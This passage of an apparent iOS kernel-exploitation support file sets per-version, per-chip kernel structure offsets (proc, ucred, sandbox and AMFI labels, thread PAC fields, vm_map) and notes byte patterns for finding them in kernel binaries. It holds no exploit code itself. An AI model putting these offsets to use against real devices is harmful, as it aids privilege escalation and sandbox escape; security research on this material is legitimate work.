// iOS 26.x: find hex E2 03 08 AA BF FE A2 88 B4 00 80 52, and get it from prologue+0x58;
uint32_t off_thread_task_threads_next = 0;
uint32_t off_proc_p_list_le_next = 0; // (lldb) p/x offsetof(proc, p_list.le_next)
uint32_t off_proc_p_list_le_prev = 0; // (lldb) p/x offsetof(proc, p_list.le_prev)
uint32_t off_proc_p_proc_ro = 0; // (lldb) p/x offsetof(proc, p_proc_ro)
uint32_t off_proc_p_pid = 0; // (lldb) p/x offsetof(proc, p_pid)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_fd)
// iOS 17.x: find hex 8A 5A 01 B9 29 05 64 B2 EA 02 05 91 49 7D E8 C8, and get it from prologue+0x50(ADD);
// iOS 18.x: find hex ED 13 04 32 8C 01 0D 0B 9F 01 09 6B A3 14 00 54, and get it from prologue+0x50(ADD);
// iOS 26.x: find hex ?? ?? FF 34 E9 03 0A AA 4B 05 00 11 0B 7C AA 88 5F 01 09 6B, and get it from prologue+0x48;
uint32_t off_proc_p_fd = 0;
// NOT POSSIBLE to find offset from KDK. (lldb) p/x offsetof(proc, p_flag)
// iOS 17.x, 18.x: find hex 09 00 B0 52 08 11 29 B8 E0, and get it from prologue+0x60(LDR);
// iOS 26.x: find hex E8 03 00 AA E0 03 13 AA 88 00 00 34 ?? ?? ?? 94, and get it from prologue+0x7c or +0x78 (LDR, right before LSR)
uint32_t off_proc_p_flag = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_textvp)
// iOS 17.x, 18.x, 26.x: xref str "exec_resettextvp: expected valid vp @%s:%d", and get it from prologue+0x28 (first LDR);
uint32_t off_proc_p_textvp = 0;
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(proc, p_name)
// iOS 17.x, 18.x, 26.x: xref str "initproc", and then get it from instr-0x4
uint32_t off_proc_p_name = 0;
uint32_t off_proc_ro_pr_task = 0; // (lldb) p/x offsetof(proc_ro, pr_task)
uint32_t off_proc_ro_p_ucred = 0; // (lldb) p/x offsetof(proc_ro, p_ucred), newly changed in iOS 18.4+
uint32_t off_ucred_cr_label = 0; // (lldb) p/x offsetof(ucred, cr_label)
// NOT POSSIBLE to find offset from KDK, since iOS 18+. (lldb) p/x offsetof(task, itk_space)
// iOS 17.x, 18.x, 26.x: find hex 68 1A 40 B9 08 41 00 51 1F 15 00 71, and get it from prologue+0x4c or + 0x50(LDR)
uint32_t off_task_itk_space = 0;
uint32_t off_task_threads_next = 0; // (lldb) p/x offsetof(task, threads.next)
// NOT POSSIBLE TO find offset from KDK. (lldb) p/x offsetof(task, task_exc_guard)
// iOS 17.x, 18.x, 26.x: find hex BF 06 02 71 E3 27 9F 1A, and get it from prologue+0x34(LDRB);
uint32_t off_task_task_exc_guard = 0;
uint32_t off_task_map = 0; // (lldb) p/x offsetof(task, map)
uint32_t off_filedesc_fd_ofiles = 0; // (lldb) p/x offsetof(filedesc, fd_ofiles)
uint32_t off_filedesc_fd_cdir = 0; // (lldb) p/x offsetof(filedesc, fd_cdir)
uint32_t off_fileproc_fp_glob = 0; // (lldb) p/x offsetof(fileproc, fp_glob)
uint32_t off_fileglob_fg_data = 0; // (lldb) p/x offsetof(fileglob, fg_data)
uint32_t off_fileglob_fg_flag = 0; // (lldb) p/x offsetof(fileglob, fg_flag)
uint32_t off_vnode_v_ncchildren_tqh_first = 0; // (lldb) p/x offsetof(vnode, v_ncchildren.tqh_first)
uint32_t off_vnode_v_nclinks_lh_first = 0; // (lldb) p/x offsetof(vnode, v_nclinks.lh_first)
uint32_t off_vnode_v_parent = 0; // (lldb) p/x offsetof(vnode, v_parent)
uint32_t off_vnode_v_data = 0; // (lldb) p/x offsetof(vnode, v_data)
uint32_t off_vnode_v_name = 0; // (lldb) p/x offsetof(vnode, v_name)
uint32_t off_vnode_v_usecount = 0; // (lldb) p/x offsetof(vnode, v_usecount)
uint32_t off_vnode_v_iocount = 0; // (lldb) p/x offsetof(vnode, v_iocount)
uint32_t off_vnode_v_writecount = 0; // (lldb) p/x offsetof(vnode, v_writecount)
uint32_t off_vnode_v_flag = 0; // (lldb) p/x offsetof(vnode, v_flag)
uint32_t off_vnode_v_mount = 0; // (lldb) p/x offsetof(vnode, v_mount)
uint32_t off_mount_mnt_flag = 0; // (lldb) p/x offsetof(mount, mnt_flag)
uint32_t off_namecache_nc_vp = 0; // (lldb) p/x offsetof(namecache, nc_vp)
uint32_t off_namecache_nc_child_tqe_next = 0; // (lldb) p/x offsetof(namecache, nc_child.tqe_next)
uint32_t off_arm_saved_state64_lr = 0; // (lldb) p/x offsetof(arm_saved_state64, lr)
uint32_t off_arm_saved_state64_pc = 0; // (lldb) p/x offsetof(arm_saved_state64, pc)
uint32_t off_arm_saved_state_uss_ss_64 = 0; // (lldb) p/x offsetof(arm_saved_state, uss.ss_64)
uint32_t off_ipc_space_is_table = 0; // (lldb) p/x offsetof(ipc_space, is_table)
uint32_t off_ipc_entry_ie_object = 0; // (lldb) p/x offsetof(ipc_entry, ie_object)
uint32_t off_ipc_port_ip_kobject = 0; // (lldb) p/x offsetof(ipc_port, ip_kobject)
uint32_t off_arm_kernel_saved_state_sp = 0; // (lldb) p/x offsetof(arm_kernel_saved_state, sp)
uint32_t off_vm_map_hdr = 0; // (lldb) p/x offsetof(_vm_map, hdr)
uint32_t off_vm_map_header_nentries = 0; // (lldb) p/x offsetof(vm_map_header, nentries)
uint32_t off_vm_map_entry_links_next = 0; // (lldb) p/x offsetof(vm_map_entry, links.next)
uint32_t off_vm_map_entry_vme_object_or_delta = 0; // (lldb) p/x offsetof(vm_map_entry, vme_object_or_delta)
uint32_t off_vm_map_entry_vme_alias = 0; // (lldb) p/x offsetof(vm_map_entry, vme_alias)
uint32_t off_vm_map_header_links_next = 0; // (lldb) p/x offsetof(vm_map_header, links.next)
uint32_t off_vm_object_vo_un1_vou_size = 0; // (lldb) p/x offsetof(vm_object, vo_un1.vou_size)
uint32_t off_vm_object_ref_count = 0; // (lldb) p/x offsetof(vm_object, ref_count)
uint32_t off_vm_named_entry_backing_copy = 0; // (lldb) p/x offsetof(vm_named_entry, backing.copy)
uint32_t off_vm_named_entry_size = 0; // (lldb) p/x offsetof(vm_named_entry, size)
uint32_t off_label_l_perpolicy_amfi = 0; // based on __Z14amfi_cslot_getP5label(_amfi_mac_slot) from kernel_ipadm3_183; (lldb) p/x offsetof(label, l_perpolicy[0])
uint32_t off_label_l_perpolicy_sandbox = 0; // based on _label_get_sandbox(_label_slot_0) from kernel_ipadm3_183; (lldb) p/x offsetof(label, l_perpolicy[1])
uint32_t sizeof_ipc_entry = 0; // (lldb) p/x sizeof(ipc_entry)
uint64_t smr_base = 0; // find hex 09 1D 08 12 08 11 10 12, get first orr instr from prologue, and check if equals `hex(2 or 3 << (62-T1SZ_BOOT))`. on iOS 17.0-17.7, it's 2
uint64_t t1sz_boot = 0; // just run ./xpf-test <kernel>
uint64_t pac_mask = 0;
uint64_t VM_MIN_KERNEL_ADDRESS = 0;
uint64_t VM_MAX_KERNEL_ADDRESS = 0;
bool gIsPACSupported = false;
bool gIsA18Above = false;
cpu_subtype_t get_hw_cpufamily(void) {
cpu_subtype_t cpuFamily = 0;
size_t cpuFamilySize = sizeof(cpuFamily);
sysctlbyname("hw.cpufamily", &cpuFamily, &cpuFamilySize, NULL, 0);
return cpuFamily;
}
bool is_pac_supported(void) {
cpu_subtype_t cpusubtype = 0;
size_t sz = sizeof(cpusubtype);
if (sysctlbyname("hw.cpusubtype", &cpusubtype, &sz, NULL, 0) != 0) return false;
if (cpusubtype == CPU_SUBTYPE_ARM64E) return true;
return false;
}
static bool is_ipad_device(void) {
char machine[64] = {0};
size_t sz = sizeof(machine);
sysctlbyname("hw.machine", machine, &sz, NULL, 0);
return strncmp(machine, "iPad", 4) == 0;
}
void offsets_init(void) {
if (!(SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0") && SYSTEM_VERSION_LESS_THAN(@"26.1"))) {
printf("[-] Only supported offset for iOS/iPadOS 17.0 - 26.0.x\n");
exit(EXIT_FAILURE);
}
cpu_subtype_t cpuFamily = get_hw_cpufamily();
bool isA10 = (cpuFamily == CPUFAMILY_ARM_HURRICANE); // A10
bool isA13Above = (cpuFamily == CPUFAMILY_ARM_LIGHTNING_THUNDER || // A13
cpuFamily == CPUFAMILY_ARM_FIRESTORM_ICESTORM || // A14, M1
cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15, M2
cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16
cpuFamily == CPUFAMILY_ARM_COLL || // A17
cpuFamily == CPUFAMILY_ARM_IBIZA || // M3
cpuFamily == CPUFAMILY_ARM_TUPAI || // A18
cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro
cpuFamily == CPUFAMILY_ARM_DONAN || // M4
cpuFamily == CPUFAMILY_ARM_TILOS || // A19
cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro
bool isA15Above = (cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // A15, M2
cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16
cpuFamily == CPUFAMILY_ARM_COLL || // A17
cpuFamily == CPUFAMILY_ARM_IBIZA || // M3
cpuFamily == CPUFAMILY_ARM_TUPAI || // A18
cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro
cpuFamily == CPUFAMILY_ARM_DONAN || // M4
cpuFamily == CPUFAMILY_ARM_TILOS || // A19
cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro
bool isA16Above = (cpuFamily == CPUFAMILY_ARM_EVEREST_SAWTOOTH || // A16
cpuFamily == CPUFAMILY_ARM_COLL || // A17
cpuFamily == CPUFAMILY_ARM_IBIZA || // M3
cpuFamily == CPUFAMILY_ARM_TUPAI || // A18
cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro
cpuFamily == CPUFAMILY_ARM_DONAN || // M4
cpuFamily == CPUFAMILY_ARM_TILOS || // A19
cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro
bool isA17Above = (cpuFamily == CPUFAMILY_ARM_COLL || // A17
cpuFamily == CPUFAMILY_ARM_IBIZA || // M3
cpuFamily == CPUFAMILY_ARM_TUPAI || // A18
cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro
cpuFamily == CPUFAMILY_ARM_DONAN || // M4
cpuFamily == CPUFAMILY_ARM_TILOS || // A19
cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro
gIsA18Above = (cpuFamily == CPUFAMILY_ARM_TUPAI || // A18
cpuFamily == CPUFAMILY_ARM_TAHITI || // A18 Pro
cpuFamily == CPUFAMILY_ARM_DONAN || // M4
cpuFamily == CPUFAMILY_ARM_TILOS || // A19
cpuFamily == CPUFAMILY_ARM_THERA); // A19 Pro
bool isMSeriesIpad = is_ipad_device() && (
cpuFamily == CPUFAMILY_ARM_FIRESTORM_ICESTORM || // M1
cpuFamily == CPUFAMILY_ARM_BLIZZARD_AVALANCHE || // M2
cpuFamily == CPUFAMILY_ARM_IBIZA || // M3
cpuFamily == CPUFAMILY_ARM_DONAN); // M4
gIsPACSupported = is_pac_supported();
// Obtained offsets from Sonoma 14.0 (KDK), similar with iOS 17.0
// iOS 17.0.x
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.0")) {
off_inpcb_inp_list_le_next = 0x20; // 17.0-17.7.x
off_inpcb_inp_pcbinfo = 0x38; // 17.0-17.7.x
off_inpcb_inp_socket = 0x40; // 17.0-17.7.x
off_inpcb_inp_depend6_inp6_icmp6filt = 0x150; //17.0, 17.1-17.7.x
off_inpcb_inp_depend6_inp6_chksum = 0x158; //17.0, 17.1-17.7.x
off_inpcbinfo_ipi_zone = 0x68; // 17.0-17.7.x
off_socket_so_usecount = 0x22c; //17.0, 17.1-17.3.x, 17.4-17.7.x
off_socket_so_proto = 0x18; //17.0-17.3.x, 17.4-17.7.x
off_socket_so_background_thread = 0x288; //17.0, 17.1-17.3.x, 17.4-17.7.x
off_kalloc_type_view_kt_zv_zv_name = 0x10; // 17.0-17.7.x
off_thread_ro_tro_proc = 0x10; //17.0-17.3.x, 17.4-17.7.x
off_thread_ro_tro_task = 0x20; //17.0-17.3.x, 17.4-17.7.x
off_thread_machine_upcb = 0xb0; //different PER DEVICES; A12+, A17&M4, A10
off_thread_machine_contextdata = 0xb0-8; //different PER DEVICES; A12+, A17&M4, A10
off_thread_t_tro = 0x358; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10
off_thread_ctid = 0x408; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10
off_thread_options = 0x70; //different PER DEVICES; A12+, A17&M4, A10
off_thread_mutex_lck_mtx_data = 0x380+8; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10
off_thread_machine_kstackptr = 0xe8; //different PER DEVICES; A12, A13+, A17&M4, A10
off_thread_machine_jop_pid = 0x158; //different PER DEVICES; A12, A13+, A15+, A17&M4
off_thread_machine_rop_pid = 0x158-8; //different PER DEVICES; A12, A13+, A15+, A17&M4
off_thread_guard_exc_info_code = 0x308; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10
off_thread_ast = 0x37c; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10
off_thread_task_threads_next = 0x348; //different PER DEVICES; A12, A13+, A15+, A17, M4, A10
off_proc_p_list_le_next = 0x0; //17.0-17.7
off_proc_p_list_le_prev = 0x8; //17.0-17.7
off_proc_p_proc_ro = 0x18; //17.0-17.7
off_proc_p_pid = 0x60; //17.0-17.7
off_proc_p_fd = 0xd0; //17.0-17.7
off_proc_p_flag = 0x454; //17.0-17.7
off_proc_p_textvp = 0x548; //17.0-17.7
off_proc_p_name = 0x579; //17.0-17.3.x, 17.4-17.7.x
off_proc_ro_pr_task = 0x8; //17.0-17.7
off_proc_ro_p_ucred = 0x20; //17.0-17.7
off_ucred_cr_label = 0x78; //17.0-17.7
off_task_itk_space = 0x300; //17.0-17.7
off_task_threads_next = 0x58; //17.0-17.7
off_task_task_exc_guard = 0x5bc; //different PER DEVICES; A12, A15+, M4, A10
off_task_map = 0x28; //17.0-17.7
off_filedesc_fd_ofiles = 0x28; //17.0-17.7
off_filedesc_fd_cdir = 0x48; //17.0-17.7
off_fileproc_fp_glob = 0x10; //17.0-17.7
off_fileglob_fg_data = 0x38; //17.0-17.7
off_fileglob_fg_flag = 0x10; //17.0-17.7
off_vnode_v_ncchildren_tqh_first = 0x30; //17.0-17.7
off_vnode_v_nclinks_lh_first = 0x40; //17.0-17.7
off_vnode_v_parent = 0xc0; //17.0-17.7
off_vnode_v_data = 0xe0; //17.0-17.7
off_vnode_v_name = 0xb8; //17.0-17.7
off_vnode_v_usecount = 0x60; //17.0-17.7
off_vnode_v_iocount = 0x64; //17.0-17.7
off_vnode_v_writecount = 0xb0; //17.0-17.7
off_vnode_v_flag = 0x54; //17.0-17.7
off_vnode_v_mount = 0xd8; //17.0-17.7
off_mount_mnt_flag = 0x70; //17.0-17.7
off_namecache_nc_vp = 0x50; //17.0-17.7
off_namecache_nc_child_tqe_next = 0x10; //17.0-17.7
off_arm_saved_state64_lr = 0xf0; //17.0-17.7
off_arm_saved_state64_pc = 0x100; //17.0-17.7
off_arm_saved_state_uss_ss_64 = 0x8; //17.0-17.7
off_ipc_space_is_table = 0x20; //17.0-17.7
off_ipc_entry_ie_object = 0; //17.0-17.7
off_ipc_port_ip_kobject = 0x48; //17.0-17.7
off_arm_kernel_saved_state_sp = 0x60; //17.0-17.7
off_vm_map_hdr = 0x10; //17.0-17.7
off_vm_map_header_nentries = 0x20; //17.0-17.7
off_vm_map_entry_links_next = 0x8; //17.0-17.7
off_vm_map_entry_vme_object_or_delta = 0x3c; //17.0-17.7
off_vm_map_entry_vme_alias = 0x40; //17.0-17.7
off_vm_map_header_links_next = 0x8; //17.0-17.7
off_vm_object_vo_un1_vou_size = 0x18; //17.0-17.7
off_vm_object_ref_count = 0x28; //17.0-17.7
off_vm_named_entry_backing_copy = 0x10; //17.0-17.7
off_vm_named_entry_size = 0x20; //17.0-17.7
off_label_l_perpolicy_amfi = 0x8; //17.0-17.7
off_label_l_perpolicy_sandbox = 0x10; //17.0-17.7
smr_base = 2;
t1sz_boot = 0x19;
sizeof_ipc_entry = 0x18;
VM_MIN_KERNEL_ADDRESS = 0xFFFFFFDC00000000;
VM_MAX_KERNEL_ADDRESS = 0xFFFFFFFBFFFFFFFF;
if(isA13Above) {
off_thread_t_tro = 0x368;
off_thread_ctid = 0x418;
off_thread_mutex_lck_mtx_data = 0x390+8;
off_thread_machine_kstackptr = 0xf0;
off_thread_machine_jop_pid = 0x160;
off_thread_machine_rop_pid = 0x160-8;
off_thread_guard_exc_info_code = 0x318;
off_thread_ast = 0x38c;
off_thread_task_threads_next = 0x358;
}
if(isA15Above) {
off_thread_t_tro = 0x370;
off_thread_ctid = 0x420;
off_thread_mutex_lck_mtx_data = 0x398+8;
off_thread_machine_jop_pid = 0x168;
off_thread_machine_rop_pid = 0x168-8;
off_thread_guard_exc_info_code = 0x320;
off_thread_ast = 0x394;
off_thread_task_threads_next = 0x360;
off_task_task_exc_guard = 0x5d4;
}
if(isA16Above || isMSeriesIpad) {
t1sz_boot = 0x11;
}
if(isA17Above) {
off_thread_machine_upcb = 0x100;
off_thread_machine_contextdata = 0x100-8;
off_thread_t_tro = 0x3c0;
off_thread_ctid = 0x470;
off_thread_options = 0xc0;
off_thread_mutex_lck_mtx_data = 0x3e8+8;
off_thread_machine_kstackptr = 0x140;
off_thread_machine_jop_pid = 0x1B8;
off_thread_machine_rop_pid = 0x1B8-8;
off_thread_guard_exc_info_code = 0x370;
off_thread_ast = 0x3e4;
off_thread_task_threads_next = 0x3b0;
}
if(isA10) {
off_thread_machine_upcb = 0xf8;
off_thread_machine_contextdata = 0xf8-8;
off_thread_t_tro = 0x388;
off_thread_ctid = 0x438;
off_thread_options = 0xb8;
off_thread_mutex_lck_mtx_data = 0x3b0+8;
off_thread_machine_kstackptr = 0x130;
off_thread_machine_jop_pid = 0xdeaddead; // exists only PAC-devices
off_thread_machine_rop_pid = 0xdeaddead; // exists only PAC-devices
off_thread_guard_exc_info_code = 0x338;
off_thread_ast = 0x3ac;
off_thread_task_threads_next = 0x378;
off_task_task_exc_guard = 0x59c;
}
if(isMSeriesIpad) {
VM_MIN_KERNEL_ADDRESS = 0xFFFFFE0000000000;
VM_MAX_KERNEL_ADDRESS = 0xFFFFFE8FFFFFFFFF;
}
}
// iOS 17.1-17.3
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.1")) {
off_inpcb_inp_depend6_inp6_icmp6filt = 0x148;
off_inpcb_inp_depend6_inp6_chksum = 0x150;
off_socket_so_usecount = 0x24c;
off_socket_so_background_thread = 0x2a8;
off_thread_t_tro = 0x368;
off_thread_ctid = 0x418;
off_thread_mutex_lck_mtx_data = 0x390+8;
off_thread_guard_exc_info_code = 0x318;
off_thread_ast = 0x38C;
off_thread_task_threads_next = 0x358;
if(isA13Above) {
off_thread_t_tro = 0x378;
off_thread_ctid = 0x428;
off_thread_mutex_lck_mtx_data = 0x3a0+8;
off_thread_guard_exc_info_code = 0x328;
off_thread_ast = 0x39c;
off_thread_task_threads_next = 0x368;
}
if(isA15Above) {
off_thread_t_tro = 0x380;
off_thread_ctid = 0x430;
off_thread_mutex_lck_mtx_data = 0x3a8+8;
off_thread_guard_exc_info_code = 0x330;
off_thread_ast = 0x3A4;
off_thread_task_threads_next = 0x370;
}
if(isA17Above) {
off_thread_t_tro = 0x3d0;
off_thread_ctid = 0x480;
off_thread_mutex_lck_mtx_data = 0x3f8+8;
off_thread_guard_exc_info_code = 0x380;
off_thread_ast = 0x3F4;
off_thread_task_threads_next = 0x3c0;
}
if(isA10) {
off_thread_t_tro = 0x398;
off_thread_ctid = 0x448;
off_thread_mutex_lck_mtx_data = 0x3c0+8;
off_thread_guard_exc_info_code = 0x348;
off_thread_ast = 0x3BC;
off_thread_task_threads_next = 0x388;
}
}
// iOS 17.4-17.7
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"17.4")) {
off_socket_so_usecount = 0x254;
off_socket_so_proto = 0x20;
off_socket_so_background_thread = 0x2b0;
off_thread_ro_tro_proc = 0x18;
off_thread_ro_tro_task = 0x28;
off_proc_p_name = 0x57d;
off_thread_t_tro = 0x370;
off_thread_ctid = 0x420;
off_thread_mutex_lck_mtx_data = 0x398+8;
off_thread_guard_exc_info_code = 0x320;
off_thread_ast = 0x394;
off_thread_task_threads_next = 0x360;
if(isA13Above) {
off_thread_t_tro = 0x380;
off_thread_ctid = 0x430;
off_thread_mutex_lck_mtx_data = 0x3a8+8;
off_thread_guard_exc_info_code = 0x330;
off_thread_ast = 0x3a4;
off_thread_task_threads_next = 0x370;
}
if(isA15Above) {
off_thread_t_tro = 0x388;
off_thread_ctid = 0x438;
off_thread_mutex_lck_mtx_data = 0x3b0+8;
off_thread_guard_exc_info_code = 0x338;
off_thread_ast = 0x3ac;
off_thread_task_threads_next = 0x378;
}
if(isA17Above) {
off_thread_t_tro = 0x3d8;
off_thread_ctid = 0x488;
off_thread_mutex_lck_mtx_data = 0x400+8;
off_thread_guard_exc_info_code = 0x388;
off_thread_ast = 0x3fc;
off_thread_task_threads_next = 0x3c8;
}
if(gIsA18Above) {
off_thread_t_tro = 0x3E0;
off_thread_ctid = 0x4a0;
off_thread_mutex_lck_mtx_data = 0x408+8;
off_thread_guard_exc_info_code = 0x390;
off_thread_ast = 0x404;
off_thread_task_threads_next = 0x3D0;
off_task_task_exc_guard = 0x5DC;
}
if(isA10) {
off_thread_t_tro = 0x3a0;
off_thread_ctid = 0x450;
off_thread_mutex_lck_mtx_data = 0x3c8+8;
off_thread_guard_exc_info_code = 0x350;
off_thread_ast = 0x3c4;
off_thread_task_threads_next = 0x390;
}
}
// iOS 18.0.x
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.0")) {
off_inpcb_inp_list_le_next = 0x20; //18.0-18.7
off_inpcb_inp_pcbinfo = 0x38; //18.0-18.7
off_inpcb_inp_socket = 0x40; //18.0-18.7
off_inpcb_inp_depend6_inp6_icmp6filt = 0x148; //18.0-18.7
off_inpcb_inp_depend6_inp6_chksum = 0x150; //18.0-18.7
off_inpcbinfo_ipi_zone = 0x68; //18.0-18.7
off_socket_so_usecount = 0x254; //18.0-18.7
off_socket_so_proto = 0x20; //18.0-18.7
off_socket_so_background_thread = 0x2b0; //18.0-18.7
off_kalloc_type_view_kt_zv_zv_name = 0x10; //18.0-18.7
off_thread_ro_tro_proc = 0x18; //18.0-18.7
off_thread_ro_tro_task = 0x28; //18.0-18.7
off_thread_machine_upcb = 0xb8; //different PER DEVICES; A12+, A17+, A10
off_thread_machine_contextdata = 0xb8-8; //different PER DEVICES; A12+, A17+, A10
off_thread_t_tro = 0x378; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10
off_thread_ctid = 0x428; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10
off_thread_options = 0x70; //different PER DEVICES; A12+, A17+, A10
off_thread_mutex_lck_mtx_data = 0x3a0+8; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10
off_thread_machine_kstackptr = 0xF0; //different PER DEVICES; A12, A13+, A17+, A10
off_thread_machine_jop_pid = 0x160; //different PER DEVICES; A12, A13+, A15+, A17+
off_thread_machine_rop_pid = 0x160-8; //different PER DEVICES; A12, A13+, A15+, A17+
off_thread_guard_exc_info_code = 0x320; //different PER DEVICES; A12, A13+, A15, A17, A18, A10
off_thread_ast = 0x39C; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10
off_thread_task_threads_next = 0x368; //different PER DEVICES; A12, A13+, A15+, A17, A18, A10
off_proc_p_list_le_next = 0x0; //18.0-18.7
off_proc_p_list_le_prev = 0x8; //18.0-18.7
off_proc_p_proc_ro = 0x18; //18.0-18.7
off_proc_p_pid = 0x60; //18.0-18.7
off_proc_p_fd = 0xd0; //18.0-18.7
off_proc_p_flag = 0x454; //18.0-18.7
off_proc_p_textvp = 0x548; //18.0-18.7
off_proc_p_name = 0x57d; //18.0-18.7
off_proc_ro_pr_task = 0x8; //18.0-18.7
off_proc_ro_p_ucred = 0x20; //18.0-18.3.x
off_ucred_cr_label = 0x78; //18.0-18.7
off_task_itk_space = 0x318; //18.0-18.7; same PER DEVICES;
off_task_threads_next = 0x50; //18.0-18.7
off_task_task_exc_guard = 0x5dc; //different PER DEVICES; A12, A15+, A18, A10
off_task_map = 0x28; //18.0-18.7
off_filedesc_fd_ofiles = 0x28; //18.0-18.7
off_filedesc_fd_cdir = 0x48; //18.0-18.7
off_fileproc_fp_glob = 0x10; //18.0-18.7
off_fileglob_fg_data = 0x38; //18.0-18.7
off_fileglob_fg_flag = 0x10; //18.0-18.7
off_vnode_v_ncchildren_tqh_first = 0x30; //18.0-18.7
off_vnode_v_nclinks_lh_first = 0x40; //18.0-18.7
off_vnode_v_parent = 0xc0; //18.0-18.7
off_vnode_v_data = 0xe0; //18.0-18.7
off_vnode_v_name = 0xb8; //18.0-18.7
off_vnode_v_usecount = 0x60; //18.0-18.7
off_vnode_v_iocount = 0x64; //18.0-18.7
off_vnode_v_writecount = 0xb0; //18.0-18.7
off_vnode_v_flag = 0x54; //18.0-18.7
off_vnode_v_mount = 0xd8; //18.0-18.7
off_mount_mnt_flag = 0x70; //18.0-18.7
off_namecache_nc_vp = 0x50; //18.0-18.7
off_namecache_nc_child_tqe_next = 0x10; //18.0-18.7
off_arm_saved_state64_lr = 0xf0; //18.0-18.7
off_arm_saved_state64_pc = 0x100; //18.0-18.7
off_arm_saved_state_uss_ss_64 = 0x8; //18.0-18.7
off_ipc_space_is_table = 0x20; //18.0-18.7
off_ipc_entry_ie_object = 0; //18.0-18.7
off_ipc_port_ip_kobject = 0x48; //18.0-18.7
off_arm_kernel_saved_state_sp = 0x60; //18.0-18.7
off_vm_map_hdr = 0x10; //18.0-18.7
off_vm_map_header_nentries = 0x20; //18.0-18.7
off_vm_map_entry_links_next = 0x8; //18.0-18.7
off_vm_map_entry_vme_object_or_delta = 0x3c; //18.0-18.7
off_vm_map_entry_vme_alias = 0x40; //18.0-18.7
off_vm_map_header_links_next = 0x8; //18.0-18.7
off_vm_object_vo_un1_vou_size = 0x18; //18.0-18.7
off_vm_object_ref_count = 0x28; //18.0-18.7
off_vm_named_entry_backing_copy = 0x10; //18.0-18.7
off_vm_named_entry_size = 0x20; //18.0-18.7
off_label_l_perpolicy_amfi = 0x8; //18.0-18.7
off_label_l_perpolicy_sandbox = 0x10; //18.0-18.7
if(isA13Above) {
off_thread_t_tro = 0x388;
off_thread_ctid = 0x438;
off_thread_mutex_lck_mtx_data = 0x3B0+8;
off_thread_machine_kstackptr = 0xF8;
off_thread_machine_jop_pid = 0x168;
off_thread_machine_rop_pid = 0x168-8;
off_thread_guard_exc_info_code = 0x330;
off_thread_ast = 0x3ac;
off_thread_task_threads_next = 0x378;
}
if(isA15Above) {
off_thread_t_tro = 0x390;
off_thread_ctid = 0x440;
off_thread_mutex_lck_mtx_data = 0x3B8+8;
off_thread_machine_jop_pid = 0x170;
off_thread_machine_rop_pid = 0x170-8;
off_thread_guard_exc_info_code = 0x338;
off_thread_ast = 0x3b4;
off_thread_task_threads_next = 0x380;
off_task_task_exc_guard = 0x5f4;
}
if(isA17Above) {
off_thread_machine_upcb = 0x108;
off_thread_machine_contextdata = 0x108-8;
off_thread_t_tro = 0x3E0;
off_thread_ctid = 0x490;
off_thread_options = 0xC0;
off_thread_mutex_lck_mtx_data = 0x408+8;
off_thread_machine_jop_pid = 0x1c0;
off_thread_machine_rop_pid = 0x1c0-8;
off_thread_machine_kstackptr = 0x148;
off_thread_guard_exc_info_code = 0x388;
off_thread_ast = 0x404;
off_thread_task_threads_next = 0x3d0;
}
if(gIsA18Above) {
off_thread_t_tro = 0x3E8;
off_thread_ctid = 0x4A8;
off_thread_mutex_lck_mtx_data = 0x410+8;
off_thread_guard_exc_info_code = 0x390;
off_thread_ast = 0x40C;
off_thread_task_threads_next = 0x3d8;
off_task_task_exc_guard = 0x5fc;
}
if(isA10) {
off_thread_machine_upcb = 0x100;
off_thread_machine_contextdata = 0x100-8;
off_thread_t_tro = 0x3A8;
off_thread_ctid = 0x458;
off_thread_options = 0xb8;
off_thread_mutex_lck_mtx_data = 0x3d0+8;
off_thread_machine_kstackptr = 0x138;
off_thread_guard_exc_info_code = 0x350;
off_thread_ast = 0x3cc;
off_thread_task_threads_next = 0x398;
off_task_task_exc_guard = 0x5c4;
}
}
// iOS 18.1-18.3
if (SYSTEM_VERSION_GREATER_THAN_OR_EQUAL_TO(@"18.1")) {
off_thread_t_tro = 0x370;
off_thread_ctid = 0x420;
off_thread_mutex_lck_mtx_data = 0x398+8;
off_thread_ast = 0x394;
off_thread_task_threads_next = 0x360;
if(isA13Above) {
off_thread_t_tro = 0x380;
off_thread_ctid = 0x430;
off_thread_mutex_lck_mtx_data = 0x3A8+8;
off_thread_ast = 0x3A4;
off_thread_task_threads_next = 0x370;
}
if(isA15Above) {
off_thread_t_tro = 0x388;
off_thread_ctid = 0x438;
off_thread_mutex_lck_mtx_data = 0x3B0+8;
off_thread_ast = 0x3AC;
off_thread_task_threads_next = 0x378;
}
if(isA17Above) {
off_thread_t_tro = 0x3D8;
off_thread_ctid = 0x488;
off_thread_mutex_lck_mtx_data = 0x400+8;
off_thread_ast = 0x3FC;
off_thread_task_threads_next = 0x3C8;
}
if(gIsA18Above) {
off_thread_t_tro = 0x3E0;
off_thread_ctid = 0x4A0;
off_thread_mutex_lck_mtx_data = 0x408+8;
